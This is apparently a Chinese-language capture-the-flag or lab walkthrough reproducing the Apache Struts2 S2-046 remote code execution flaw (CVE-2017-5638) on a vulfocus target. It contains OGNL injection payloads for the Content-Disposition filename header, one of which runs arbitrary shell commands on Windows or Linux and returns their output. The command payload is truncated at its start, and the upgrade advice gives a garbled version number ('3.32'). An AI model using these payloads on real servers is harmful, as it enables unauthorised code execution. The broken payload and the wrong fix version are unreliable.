一:漏洞介绍
名称: struts2-046 远程代码执行 (CVE-2017-5638)
描述: Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。
二:漏洞编号
CVE-2017-5638
三:受影响版本
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
四:环境搭建
使用vulfocus
五:漏洞复现
1.访问靶场,是一个文件上传也面,点击提交burp抓包
2.修改filename参数
poc:
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\xb
在xb中间加个空格选中后改为00,再发包 执行了poc里的1+99下图
3.获取falg
poc:
hony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b
六.修复建议
建议升级至Struts版本3.32或2.5.10.1